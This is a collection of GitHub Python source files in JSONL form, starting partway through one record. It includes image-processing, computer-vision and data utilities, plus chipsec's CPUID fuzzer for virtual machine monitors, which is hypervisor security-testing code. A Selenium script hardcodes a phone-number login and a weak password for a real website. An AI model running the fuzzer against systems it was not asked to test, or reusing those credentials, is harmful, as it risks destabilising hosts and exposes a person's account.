config['name']\n\tutil.mkdir_and_rename(\n experiment_dir) # rename experiment folder if exists\n\tutil.mkdirs((experiment_dir+'/sr_images', experiment_dir+'/lr_images'))\n\n\t##### Setup Logger #####\n\tlogger = util.Logger('test', experiment_dir, 'test_' + config['name'])\n\n\t##### print Experiment Config\n\tlogger.log(util.dict2str(config))\n\t\n\t###### Load Dataset #####\n\ttesting_data_loader = dataset.get_test_sets(config['dataset'], logger)\n\n\ttrainer = create_model(config, logger)\n\ttrainer.print_network_params(logger)\n\n\ttotal_avg_psnr = 0.0\n\ttotal_avg_ssim = 0.0\n\n\tfor name, test_set in testing_data_loader.items():\n\t\tlogger.log('Testing Dataset {:s}'.format(name))\n\t\tvalid_start_time = time.time()\n\t\tavg_psnr = 0.0\n\t\tavg_ssim = 0.0\n\t\tidx = 0\n\t\tfor i, batch in enumerate(test_set):\n\t\t\tidx += 1\n\t\t\timg_name = batch[2][0][batch[2][0].rindex('/')+1:]\n\t\t\t# print(img_name)\n\t\t\timg_name = img_name[:img_name.index('.')]\n\t\t\timg_dir_sr = experiment_dir+'/sr_images'\n\t\t\timg_dir_lr = experiment_dir+'/lr_images'\n\t\t\tutil.mkdir(img_dir_sr)\n\t\t\tinfer_time = trainer.test(batch)\n\t\t\tvisuals = trainer.get_current_visuals()\n\t\t\tlr_img = util.tensor2img(visuals['LR'])\n\t\t\tsr_img = util.tensor2img(visuals['SR']) # uint8\n\t\t\tgt_img = util.tensor2img(visuals['HR']) # uint8\n\t\t\tsave_sr_img_path = os.path.join(img_dir_sr, '{:s}.png'.format(img_name))\n\t\t\tsave_lr_img_path = os.path.join(img_dir_lr, '{:s}.png'.format(img_name))\n\t\t\tutil.save_img(lr_img, save_lr_img_path)\n\t\t\tutil.save_img(sr_img, save_sr_img_path)\n\t\t\tcrop_size = config['dataset']['scale']\n\t\t\tpsnr, ssim = util.calc_metrics(sr_img, gt_img, crop_size)\n\t\t\t#logger.log('[ Image: {:s} PSNR: {:.4f} SSIM: {:.4f} Inference Time: {:.8f}]'.format(img_name, psnr, ssim, infer_time))\n\t\t\tavg_psnr += psnr\n\t\t\tavg_ssim += ssim\n\t\tavg_psnr = avg_psnr / idx\n\t\tavg_ssim = avg_ssim / idx\n\t\tvalid_t = time.time() - valid_start_time\n\t\tlogger.log('[ Set: {:s} Time:{:.3f}] PSNR: {:.2f} SSIM {:.4f}'.format(name, valid_t, avg_psnr, avg_ssim))\n\t\t\n\t\titer_start_time = time.time()\n\n\t\ttotal_avg_ssim += avg_ssim\n\t\ttotal_avg_psnr += avg_psnr\n\n\ttotal_avg_ssim /= len(testing_data_loader)\n\ttotal_avg_psnr /= len(testing_data_loader)\n\t\n\tlogger.log('[ Total Average of Sets: PSNR: {:.2f} SSIM {:.4f}'.format(total_avg_psnr, total_avg_ssim))\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('-config', type=str, help='Path to config YAML file.')\n\targs = parser.parse_args()\n\twith open(args.config, 'r') as stream:\n\t config = yaml.safe_load(stream)\n\tmain(config)\n","repo_name":"supratikbanerjee/SubPixel-BackProjection_SuperResolution","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"19"} +{"seq_id":"38149179544","text":"from selenium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom PIL import Image\n\n\nclass Base():\n\n def __init__(self,driver):\n self.driver = driver\n self.timeout = 50\n self.jiangetime = 0.5\n\n def findElement(self,locator):\n ele = WebDriverWait(self.driver,self.timeout,self.jiangetime).until(lambda x: x.find_element(*locator))\n return ele\n\n def findElements(self,locator):\n eles = WebDriverWait(self.driver,self.timeout,self.jiangetime).until(lambda x: x.find_elements(*locator))\n return eles\n\n def clickEle(self,locator):\n ele = self.findElement(locator)\n ele.click()\n\n def sendKey(self,locator,keys):\n ele = self.findElement(locator)\n ele.send_keys(keys)\n\n def is_element_be(self,locator):\n try:\n self.findElement(locator)\n return True\n except:\n return False\n\n def is_elements_be(self,locator):\n eles = self.findElements(locator)\n ln = len(eles)\n if ln == 0:\n return False\n elif ln == 1:\n return True\n else:\n return True\n\n def screenEle(self,locator):\n '''截取某个元素'''\n ele = self.findElement(locator)\n self.driver.save_screenshot(\"button.png\")\n x1 = ele.location[\"x\"]\n y1 = ele.location[\"y\"]\n x2 = ele.location[\"x\"]+ele.size[\"width\"]\n y2 = ele.location[\"y\"]+ele.size[\"height\"]\n im = Image.open('button.png')\n im = im.crop((x1,y1,x2,y2))\n im.save(\"button.png\")\n\n def get_text(self,locator):\n try:\n t = self.findElement(locator).text\n return t\n except:\n return \" \"\n\n def is_text_in_element(self,locator,text):\n try:\n result = WebDriverWait(self.driver, self.timeout, self.jiangetime).until(EC.text_to_be_present_in_element(locator, text))\n return result\n except:\n return False\n\n def get_ElementScreen(self,locator,name):\n ele = self.findElement(locator)\n driver.save_screenshot(name)\n # print(ele.location)\n # print(ele.size)\n x1 = ele.location[\"x\"]\n y1 = ele.location[\"y\"]\n x2 = ele.location[\"x\"]+ele.size[\"width\"]\n y2 = ele.location[\"y\"]+ele.size[\"height\"]\n im = Image.open(name)\n im = im.crop((x1,y1,x2,y2))\n im.save(name)\n\n\nif __name__ == \"__main__\":\n driver = webdriver.Firefox()\n driver.get(\"http://agent.sofang.com/majorLogin?type=2\")\n basecls = Base(driver)\n locname = (\"id\",\"lproname\")\n locpwd = (\"id\",\"lpropwd\")\n locbutton = (\"id\",\"login\")\n loc_get_name = (\"css selector\",\".head_r>span\")\n basecls.sendKey(locname,\"15910304557\")\n basecls.sendKey(locpwd,\"123456\")\n basecls.clickEle(locbutton)","repo_name":"dandan1991/ceshi-pc","sub_path":"sofangpc_script/common/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"38559993577","text":"from cv2 import cvtColor\r\nimport mediapipe as mp\r\nimport cv2\r\nimport time\r\n\r\n\r\nclass Detector():\r\n def __init__(self, mode=False, maxHands = 2, detectionCon=0.5, trackCon=0.5):\r\n self.mode = mode\r\n self.maxHands = maxHands\r\n self.detectionCon = detectionCon\r\n self.trackCon = trackCon\r\n\r\n self.mpHands = mp.solutions.hands\r\n self.hands = self.mpHands.Hands()\r\n self.mpDraw = mp.solutions.drawing_utils\r\n\r\n def EncontraMãos(self, img, draw=True):\r\n\r\n imgRGB = cvtColor(img, cv2.COLOR_BGR2RGB)\r\n self.results = self.hands.process(imgRGB)\r\n\r\n if self.results.multi_hand_landmarks:\r\n for handLms in self.results.multi_hand_landmarks:\r\n if draw:\r\n self.mpDraw.draw_landmarks(img, handLms, self.mpHands.HAND_CONNECTIONS)\r\n return img\r\n\r\n def EncontraPosicao(self, img, handNo=0, draw=True):\r\n \r\n lmList = []\r\n if self.results.multi_hand_landmarks:\r\n myHand = self.results.multi_hand_landmarks[handNo]\r\n for id, lm in enumerate(myHand.landmark):\r\n #print(id, lm)\r\n h, w, c = img.shape\r\n cx, cy = int(lm.x*w), int(lm.y*h)\r\n #print(id, cx, cy)\r\n lmList.append([id, cx, cy])\r\n if draw:\r\n cv2.circle(img, (cx, cy), 15, (255,0,255), cv2.FILLED)\r\n\r\n return lmList\r\n def Disting(self, img):\r\n\r\n myHands =[]\r\n handsType = []\r\n imgRGB=cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\r\n results=self.hands.process(imgRGB)\r\n\r\n if results.multi_hand_landmarks != None:\r\n #print(results.multi_handedness)\r\n for hand in results.multi_handedness:\r\n #print(hand)\r\n #print(hand.classification)\r\n #print(hand.classification[0])\r\n handType = hand.classification[0].label\r\n handsType.append(handType)\r\n for handLandMarks in results.multi_hand_landmarks:\r\n myHand=[]\r\n for landMark in handLandMarks.landmark:\r\n myHand.append((int(landMark.x*width),int(landMark.y*height)))\r\n myHands.append(myHand)\r\n return myHands, handsType\r\n\r\nwidth=640\r\nheight=480\r\nfindHands= Detector(4)\r\n\r\ndef main():\r\n\r\n pTime = 0\r\n cTime = 0\r\n cap = cv2.VideoCapture(0)\r\n detector = Detector()\r\n\r\n\r\n while True:\r\n success, img = cap.read()\r\n img = detector.EncontraMãos(img, draw=False)\r\n lmList = detector.EncontraPosicao(img, draw=False)\r\n if len(lmList) != 0:\r\n #print(lmList[4])\r\n img=cv2.resize(img,(width,height))\r\n handData, handsType = findHands.Disting(img)\r\n for hand, handType in zip(handData, handsType):\r\n for ind in [0,5,6,7,8]:\r\n if handType == 'Right':\r\n handColor = (255, 0, 0)\r\n if handType == 'Left':\r\n handColor = (0, 0, 255)\r\n cv2.circle(img,hand[ind],15, handColor, 5)\r\n\r\n cTime = time.time()\r\n fps = 1/(cTime-pTime)\r\n pTime = cTime\r\n\r\n cv2.putText(img, str(int(fps)), (10, 70), cv2.FONT_HERSHEY_PLAIN, 3, (255,0,255), 2)\r\n\r\n\r\n cv2.imshow('Image', img)\r\n if cv2.waitKey(10) % 0xFF == ord('q'):\r\n break\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"Tiago-Faramiglio/TCC-project","sub_path":"TCC-project/rastmanual_modulo.py","file_name":"rastmanual_modulo.py","file_ext":"py","file_size_in_byte":3475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"10747483711","text":"from rest_framework import viewsets\nimport django.db\nfrom django.http.response import JsonResponse\n\nfrom api.models import Token\n\n\nclass CommonView(viewsets.ViewSet):\n\n # 共通の初期値を設定\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.token: Token = None\n\n # authorization keyのチェック\n def check_authorization(self):\n try:\n token = 'Token '\n # METAにHTTP_AUTHORIZATIONがあるか��認\n if 'HTTP_AUTHORIZATION' in self.request.META:\n # HTTP_AUTHORIZATION'中身の代入\n authorization = self.request.META['HTTP_AUTHORIZATION']\n\n # 'Token 'があるか判定\n if authorization.startswith(token):\n # 受けっとたtokenの代入\n authorization = authorization[len(token):]\n # 受け取ったtokenでデータベースからtokenの情報取得して代入\n self.token = Token.objects.get(token=authorization)\n return\n # HTTP_AUTHORIZATION'がなかった時に401エラー\n return JsonResponse({'message': 'Unauthorized'}, status=401)\n\n except:\n # 認証に失敗したら401エラーを返却\n return JsonResponse({'message': 'Unauthorized'}, status=401)\n","repo_name":"takezyou/django_api","sub_path":"api/views/common_view.py","file_name":"common_view.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"1919519890","text":"import torch\nimport torchvision.models as models\nimport torchvision.transforms as transforms\n\n#load pretrained mdoel\nmodel = models.resnet50(pretrained=True)\n\n#set the model to evaluation mode\nmodel.eval()\n\n#set the device\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nmodel = model.to(device)\n\n#normalize image\nnormalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\ntransform = transforms.Compose([\n transforms.ToTensor(),\n normalize\n ])\n \n#define function to extract features from ROI\ndef extract_features(image, bbox):\n #extract roi from image\n roi = image.crop(bbox)\n \n \n #apply transform and move to gpu if available\n roi_tensor = transform(roi).unsqueeze(0).to(device)\n \n #pass roi through resnet50 to extract features\n features = model(roi_tensor)\n \n #return feature vector\n return features.squeeze().cpu().detach().numpy()","repo_name":"myominhtet/person_tracking_and_face_detection","sub_path":"feature_extraction.py","file_name":"feature_extraction.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"1976972821","text":"import sys, pickle, json\nfrom collections import Counter\nimport network\nimport os\n\ndef main():\n ME = sys.argv[1] \n MY_ADDR = (sys.argv[2], int(sys.argv[3]))\n \n def parser(b):\n d = pickle.loads(b)\n filename = d['filename']\n offset = d['offset']\n size = d['size']\n Map(ME,filename,offset,size)\n return b'Done!'\n network.worker(MY_ADDR,parser)\n\ndef Map(mapid,filename,offset,size):\n print('Mapping file {}, offset={}, size={}...'.format(filename,offset,size))\n s = open(filename,'r').read(offset+size)[offset:]\n words = [w.strip() for w in s.split()]\n counts = [(w,1) for w in words]\n path,inname = os.path.split(filename)\n outname = '{}_I_{}'.format(inname,mapid)\n out = os.path.join(path,outname)\n json.dump(counts,open(out,'w'))\n print('Mapped to file',out)\n\nif __name__ == '__main__':\n main()","repo_name":"siddartha-maryada/Distributed-File-Processing","sub_path":"mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"14293272314","text":"def parse(augmented_str):\n # Helper function to convert strings to appropriate types\n def convert_value(s):\n if s == \"true\":\n return True\n elif s == \"false\":\n return False\n elif s == \"null\":\n return None\n elif len(s) >= 2 and (s[0] == \"'\" or s[0] == '\"') and s[0] == s[-1]:\n return s[1:-1]\n try:\n return int(s)\n except ValueError:\n try:\n return float(s)\n except ValueError:\n return s\n\n # First parse into { } [ ] , : \"quoted_tok\" unquoted_tok space\n\n tokens = []\n current_token = \"\"\n in_quote = None\n escape = False\n for i, c in enumerate(augmented_str):\n if in_quote:\n if escape:\n current_token += c\n escape = False\n continue\n elif c == '\\\\':\n escape = True\n continue\n elif c == in_quote:\n current_token += c\n tokens.append((i, current_token))\n current_token = \"\"\n in_quote = False\n continue\n else:\n current_token += c\n elif c == '\"' or c == \"'\":\n if current_token:\n tokens.append((i, current_token))\n current_token = \"\"\n current_token = c\n in_quote = c\n continue\n elif c == ' ' or c == '\\n':\n if current_token:\n tokens.append((i, current_token))\n tokens.append((i, \" \"))\n continue\n elif c in [\",\", \"[\", \"{\", \"}\", \"]\", \":\"]:\n if current_token:\n tokens.append((i, current_token))\n current_token = \"\"\n tokens.append((i, c))\n continue\n else:\n current_token += c\n if current_token:\n tokens.append((i, current_token))\n current_token = \"\"\n\n return [ token for (i, token) in tokens ]\n\n def is_quoted(token):\n return token and token[0] in ['\"', \"'\"]\n \n def to_quoted(token):\n if is_quoted(token): return token\n else:\n fixed_token = token.replace('\"', '\\\\\"')\n return f'\"{fixed_token}\"'\n\n output = \"\"\n braces = []\n\n unseen_tokens = tokens.copy()\n\n \"\"\"\n while unseen_tokens:\n col1, next_token1 = unseen_tokens[0]\n col2, next_token2 = unseen_tokens[1] if len(unseen_tokens) > 1 else (None, None)\n col3, next_token3 = unseen_tokens[2] if len(unseen_tokens) > 2 else (None, None)\n if next_token1 in \"[]{}\":\n unseen_tokens.pop()\n baces.append(next_token1)\n output += next_token1\n elif next_token2 = \":\":\n if next_token in ':,':\n raise Exception(\"Cannot have :: or ,:\")\n # if next tokens are key:value, we must add braces if we are not well nested\n if braces and braces[-1] != '{':\n braces.append('{')\n output += '{'\n unseen_tokens.pop()\n unseen_tokens.pop()\n output += to_quoted(next_token1) + next_token2\n \"\"\"\n\n\n\"\"\"\nhow to parse\n[ a: 1, b: 2, c: 3 ] => [{\"a\":1}, {\"b\": 2}, {\"c\": 3}]\n{ a: 1, b: 2, c: 3 } => { \"a\": 1, \"b\": 2, \"c\": 3 }\n[ a: 1 b: 2 c: 3 ] => [ { \"a\": 1, \"b\": 2, \"c\": 3 }\n{ a: b: 1 c: 2 } => {\"a\": {\"b\": 1}, \"c\": 2}\n\na: b: a c: d => {\"a\":{\"b\":\"a\",\"c\":\"d\"}}\na: b :a c: d => {\"a\":\"b\",\"c\":\"d\"}\na:b:a,c:d\n\n1: create open braces\n(array state or value state) tok + :, \n\nlexer: str [ ] { } : ,\nparser:\n array: [ val (, val)* ]\n normal_dict: { key: val (,? key: val)* }\n simple_dict: key: val (,? key: val)*\n\"\"\"\n\n# Test cases\ntest_cases = [\n '{\"a\": [1, true, \"b\", null]}',\n \"ace: 1\",\n \"a: 1 b: 2\",\n \"a: b: 1 c: 2 d: 3\",\n \"a: b: 1 c: 2 :a d: 3\",\n \"a: b: a: c: 1 :a d: 2 :a e: 3\",\n \"b=2,3\",\n \"a=1&b=2,3\",\n \"a: b: c\",\n \"a,\",\n \",a\",\n \"a: b: c, d: e\"\n]\n\nfor test_str in test_cases:\n print(f\"parse({test_str!r}) == {parse(test_str)}\")\n","repo_name":"haynesgt/autofixing-json","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"18363470971","text":"import numpy as np\nimport PySimpleGUI as sg\nimport pandas as pd\nimport os\nimport tkinter\nfrom tkinter import filedialog\nfrom matplotlib import pyplot as plt\nimport collections\nimport seaborn as sns\n\nsns.set()\nsns.set_style(\"whitegrid\")\n\nAPP_NAME=\"Data utilities\"\n\ndef inverse(d):\n return 1/d[0]\n\ndef sum(d):\n return d[0] + d[1]\n\ndef prod(d):\n return d[0]*d[1]\n\ndef differentiate(d):\n x=d[0].values\n y=d[1].values\n d1 = (y[1:] - y[:-1]) / (x[1:] - x[:-1])\n d2 = (d1[1:] + d1[:-1]) * 0.5\n Diff = np.array([d1[0]])\n Diff = np.append(Diff, d2)\n Diff = np.append(Diff, [d1[-1]])\n return pd.Series(Diff)\n\nDATA_CNT={\n\"inverse\" : inverse,\n\"sum\" : sum,\n\"prod\" : prod,\n\"diff\" : differentiate\n}\n\n\n\n\ndef apply_methods(df,l):\n _df=df.copy()\n try:\n for d in l:\n d_set=[]\n for i in d[\"col\"]:\n d_set.append(_df[i])\n _df[d[\"name\"]]=d[\"method\"](d_set)\n except NameError as e:\n print(e)\n return df\n return _df\n\n\ndef Data_controler(df):\n global SNAP,SNAPSHOTS,current_df,dn_idx\n def save_snapshot(df_added):\n global SNAP,SNAPSHOTS,current_df\n SNAP+=1\n df_added[\"snap_no\"] = SNAP\n SNAPSHOTS = SNAPSHOTS.append(df_added.set_index([\"snap_no\",\"data_no\"]))\n current_df = SNAPSHOTS.loc[SNAP,:].reset_index()\n\n def GUI_layout(snap_df):\n global current_df,dn_idx\n current_df = snap_df.loc[SNAP,:].reset_index().dropna(how=\"all\",axis=1)\n col = current_df.columns.tolist()\n dn_idx=col.index(\"data_no\")\n vm=[False if i in [\"snap_no\",\"data_no\"] else True for i in col]\n col_ = current_df.drop(\"data_no\",axis=1).columns.tolist()\n\n def sel(axis):\n return sg.Frame(\"\", border_width=0, element_justification=\"center\", pad=(0,10), layout=[\n [sg.Text(axis)],\n [sg.Listbox(col_, size=(6, 6),\n select_mode=sg.LISTBOX_SELECT_MODE_SINGLE, enable_events=True,\n default_values=[col_[0]], key=axis)]\n ])\n\n methods_list=[i for i in DATA_CNT.keys()]\n\n methods = sg.Frame(\"\",border_width=0, element_justification=\"center\", layout=[\n [\n sg.Text(\"Methods\")\n ],\n [\n sg.Listbox(methods_list, size=(12,6), key=\"method_list\",\n select_mode=sg.LISTBOX_SELECT_MODE_SINGLE, enable_events=True, default_values=[methods_list[0]])\n ]\n ])\n\n name_input = sg.Frame(\"\",border_width=0, element_justification=\"right\", layout =[\n [\n sg.Text(\"New column name\")\n ],\n [\n sg.InputText(\"\",key=\"new_col\", size=(15,1))\n ]\n ])\n\n controler = [\n [\n sel(\"d0\"),sel(\"d1\"),sel(\"d2\"),methods,name_input\n ],\n [\n sg.Button(\"Apply method\", key=\"method\"),\n sg.Button(\"Plot d0 vs d1\", key=\"plt\"),\n ],\n ]\n\n return [\n [\n sg.Frame(\"\",layout=controler, relief=sg.RELIEF_RAISED)\n ],\n [\n sg.Table(\n key='table',\n values=current_df.values.tolist(),\n headings=col,\n visible_column_map=vm,\n justification='right',\n max_col_width=50,\n def_col_width=8,\n auto_size_columns=False,\n enable_events=True,\n select_mode=sg.TABLE_SELECT_MODE_EXTENDED,\n background_color='#aaaaaa',\n alternating_row_color='#888888',),\n sg.Button(\"Delete point\", key=\"del\" ,disabled=True),\n sg.Button(\"Undo\"),\n ],\n [sg.Button(\"OK\"),sg.Button(\"Apply all\"),sg.Button(\"Cancel\")]\n ]\n\n SNAP=0\n SNAPSHOTS=pd.DataFrame()\n _df = df.copy()\n _df.reset_index(drop=True)\n _df[\"data_no\"]=_df.index\n _df[\"snap_no\"]=SNAP\n SNAPSHOTS=SNAPSHOTS.append(_df.set_index([\"snap_no\",\"data_no\"]))\n current_df,dn_idx=None,None\n\n APPLIED_METHODS_RECORD=[]\n\n window = sg.Window(APP_NAME,location=(0,0),layout=GUI_layout(SNAPSHOTS),finalize=True)\n print(current_df)\n print(dn_idx)\n while True:\n event, values =window.read()\n\n if event in (\"Cancel\", sg.WIN_CLOSED, None):\n FLAG_APPLY_METHODS_OTHER_DATA=False\n window.close()\n return df,APPLIED_METHODS_RECORD, FLAG_APPLY_METHODS_OTHER_DATA\n\n elif event == \"OK\":\n FLAG_APPLY_METHODS_OTHER_DATA=False\n window.close()\n return current_df.drop(\"data_no\",axis=1) ,APPLIED_METHODS_RECORD, FLAG_APPLY_METHODS_OTHER_DATA\n\n elif event == \"Apply all\":\n FLAG_APPLY_METHODS_OTHER_DATA=True\n window.close()\n return current_df.drop(\"data_no\",axis=1) ,APPLIED_METHODS_RECORD, FLAG_APPLY_METHODS_OTHER_DATA\n\n\n elif event == \"table\":\n if len(values[\"table\"])==0:\n window[\"del\"].update(disabled=True)\n elif len(values[\"table\"])==1:\n window[\"del\"].update(disabled=False)\n else:\n window[\"del\"].update(disabled=False)\n\n elif event == \"del\":\n data_numbers=[]\n for i in values[\"table\"]:\n data_numbers.append(window[\"table\"].get()[i][dn_idx])\n\n current_df = current_df.query(\"data_no not in @data_numbers\")\n\n save_snapshot(current_df)\n window[\"table\"].update(values=current_df.values.tolist())\n\n elif event == \"plt\":\n fig = plt.figure(figsize=(10, 7), dpi=100)\n ax = fig.add_subplot(111)\n ax.scatter(current_df[values[\"d0\"][0]].values, current_df[values[\"d1\"][0]].values, edgecolor=\"black\", linewidth=0.5, alpha=0.5)\n ax.set_title(values[\"d0\"][0] + \" vs \" + values[\"d1\"][0])\n plt.show()\n\n elif event == \"method\":\n sel_data=[current_df[values[\"d0\"][0]], current_df[values[\"d1\"][0]], current_df[values[\"d2\"][0]] ]\n sel_col = [ values[\"d0\"][0], values[\"d1\"][0], values[\"d2\"][0] ]\n new_col_name = \"col_0\" if values[\"new_col\"]==\"\" else values[\"new_col\"]\n for i in range(1000):\n if new_col_name in current_df.columns.tolist():\n new_col_name = new_col_name[:-1] + str(i+1)\n else:\n break\n current_df[new_col_name] = DATA_CNT[values[\"method_list\"][0]](sel_data)\n APPLIED_METHODS_RECORD.append({\"name\":new_col_name, \"col\":sel_col, \"method\":DATA_CNT[values[\"method_list\"][0]]})\n save_snapshot(current_df)\n\n window.close()\n window = sg.Window(APP_NAME,location=(0,0),layout=GUI_layout(SNAPSHOTS),finalize=True)\n\n elif event == \"Undo\":\n if SNAP>0:\n SNAP-=1\n SNAPSHOTS = SNAPSHOTS.loc[slice(SNAP),:]\n window.close()\n window = sg.Window(APP_NAME,location=(0,0),layout=GUI_layout(SNAPSHOTS),finalize=True)\n","repo_name":"onima-t/pygor","sub_path":"cnt_data.py","file_name":"cnt_data.py","file_ext":"py","file_size_in_byte":7139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"2085667572","text":"import random\nfrom chipsec.module_common import BaseModule, ModuleResult\n\n_MODULE_NAME = 'cpuid_fuzz'\n\n#\n# We will only be fuzzing _NO_EAX_TO_FUZZ range of EAX values each _EAX_FUZZ_STEP step\n#\n_NO_EAX_TO_FUZZ = 0x100\n_EAX_FUZZ_STEP = 0x1000000\n\n# Number of iterations if value is Randomly chosen\n_NO_ITERATIONS_TO_FUZZ = 0x1000000\n\n# Control values to be passed in ECX\n_FUZZ_ECX_RANDOM = False\n# Max value of ECX when fuzzed sequentially\n_MAX_ECX = 0x100\n\n# Exclude CPUID EAX which cause VM hang/crash\n_EXCLUDE_CPUID = []\n\n# Flush log file before each fuzz iteration\n_FLUSH_LOG_EACH_ITER = False\n# Log values of EAX, EBX, ECX, EDX which CPUID returns\n_LOG_OUT_RESULTS = False\n\n\nclass cpuid_fuzz (BaseModule):\n\n def fuzz_CPUID(self, eax_start, random_order = False):\n eax_range = _NO_EAX_TO_FUZZ\n eax_end = eax_start + eax_range\n self.logger.log(f'[*] Fuzzing CPUID with EAX in range 0x{eax_start:08X}:0x{eax_end:08X}..')\n it = 0\n if random_order:\n it_max = _NO_ITERATIONS_TO_FUZZ\n else:\n it_max = eax_range\n\n while it < it_max:\n if random_order:\n eax = random.randint(eax_start, eax_end)\n else:\n eax = eax_start + it\n if _FLUSH_LOG_EACH_ITER:\n self.logger.flush()\n if eax not in _EXCLUDE_CPUID:\n self.logger.log(f'[*] CPUID EAX: 0x{eax:08X}')\n if _FUZZ_ECX_RANDOM:\n ecx = random.randint(0, 0xFFFFFFFF)\n (r_eax, r_ebx, r_ecx, r_edx) = self.cs.cpu.cpuid(eax, ecx)\n else:\n for ecx in range(_MAX_ECX):\n self.logger.log(f' > ECX: 0x{ecx:08X}')\n if _FLUSH_LOG_EACH_ITER:\n self.logger.flush()\n (r_eax, r_ebx, r_ecx, r_edx) = self.cs.cpu.cpuid(eax, ecx)\n if _LOG_OUT_RESULTS:\n self.logger.log(f' Out: EAX=0x{r_eax:08X}, EBX=0x{r_ebx:08X}, ECX=0x{r_ecx:08X}, EDX=0x{r_edx:08X}')\n it += 1\n return True\n\n def run(self, module_argv):\n self.logger.start_test(\"CPUID Fuzzer\")\n\n _random_order = False\n if (len(module_argv) > 0) and ('random' == module_argv[0]):\n _random_order = True\n\n self.logger.log(f'[*] Configuration:')\n self.logger.log(f' Mode: {\"random\" if _random_order else \"sequential\"}')\n self.logger.log(f' Step to fuzz range of EAX values (_EAX_FUZZ_STEP): 0x{_EAX_FUZZ_STEP:X}')\n self.logger.log(f' No of EAX values to fuzz within each step (_NO_EAX_TO_FUZZ): 0x{_NO_EAX_TO_FUZZ:X}')\n self.logger.log(f' Fuzz ECX with random values? (_FUZZ_ECX_RANDOM): {_FUZZ_ECX_RANDOM:d}')\n self.logger.log(f' Max ECX value (_MAX_ECX): 0x{_MAX_ECX:08X}')\n self.logger.log(f' Exclude the following EAX values from fuzzing (_EXCLUDE_CPUID): {str(_EXCLUDE_CPUID)}')\n self.logger.log(f' Flush log file after each iteration (_FLUSH_LOG_EACH_ITER): {_FLUSH_LOG_EACH_ITER:d}')\n self.logger.log(f' Log output results (_LOG_OUT_RESULTS): {_LOG_OUT_RESULTS:d}')\n\n steps = 0x100000000 // _EAX_FUZZ_STEP\n for s in range(steps):\n self.fuzz_CPUID(s * _EAX_FUZZ_STEP, _random_order)\n\n self.logger.log_information('Module completed')\n self.logger.log_warning('System may be in an unknown state, further evaluation may be needed.')\n self.rc_res.setStatusBit(self.rc_res.status.VERIFY)\n self.res = self.rc_res.getReturnCode(ModuleResult.WARNING)\n return self.res\n","repo_name":"chipsec/chipsec","sub_path":"chipsec/modules/tools/vmm/cpuid_fuzz.py","file_name":"cpuid_fuzz.py","file_ext":"py","file_size_in_byte":3646,"program_lang":"python","lang":"en","doc_type":"code","stars":2755,"dataset":"github-code","pt":"19"} +{"seq_id":"18336186223","text":"import numpy as np\nimport os\n\nimport torch\nfrom PIL import Image\nfrom torch.autograd import Variable\nfrom torchvision import transforms\n\nfrom src.service.ShadowDetection.BDRAR.misc import crf_refine\nfrom src.service.ShadowDetection.BDRAR.model import BDRAR\nimport time\n\ntest_path_shadow = os.path.join(\n os.path.dirname(os.path.abspath(__file__)), \"Shadow_Images\"\n)\n\nsave_path_shadow = os.path.join(\n os.path.dirname(os.path.abspath(__file__)), \"Shadow_Map\"\n)\n\nimg_transform_shadow = transforms.Compose(\n [\n transforms.Resize(416),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]),\n ]\n)\n\n\nto_pil_shadow = transforms.ToPILImage()\n\nnet_shadow = (\n BDRAR().cpu()\n) # Prefer to use CPU as Jetson's GPU cannot handle this algorithm along with Yolo.\n\nnet_shadow.load_state_dict(\n torch.load(\n os.path.join(\n os.path.dirname(os.path.abspath(__file__)), \"BDRAR\", \"ckpt\", \"3000.pth\"\n ),\n map_location=\"cpu\",\n )\n)\n\nnet_shadow.eval()\ntorch.set_num_threads(1)\n\n\ndef findShadow(img: Image.Image, img_name: str) -> Image.Image:\n # image goes in\n\n # avoid using up all threads and blocking other ML processes\n with torch.no_grad():\n\n # process image\n w, h = img.size\n img_var = Variable(\n img_transform_shadow(img).unsqueeze(0)\n ).cpu() # Prefer to use CPU as Jetson's GPU cannot handle this algorithm along with Yolo.\n res = net_shadow(img_var).cpu()\n prediction = np.array(\n transforms.Resize((h, w))(to_pil_shadow(res.data.squeeze(0).cpu()))\n )\n prediction = crf_refine(np.array(img.convert(\"RGB\")), prediction)\n\n # Image goes out\n return Image.fromarray(prediction)\n\n\nif __name__ == \"__main__\":\n start = time.time()\n img_list = [\n img_name\n for img_name in os.listdir(test_path_shadow)\n if img_name.endswith(\".jpg\") or img_name.endswith(\".jpeg\")\n ]\n for idx, img_name in enumerate(img_list):\n\n print(\"predicting %d / %d\" % (idx + 1, len(img_list)))\n img = Image.open(os.path.join(test_path_shadow, img_name))\n\n start = time.time()\n\n findShadow(img, img_name)\n\n end = time.time()\n print(\"EVAL\", end - start)\n\n end = time.time()\n print(end - 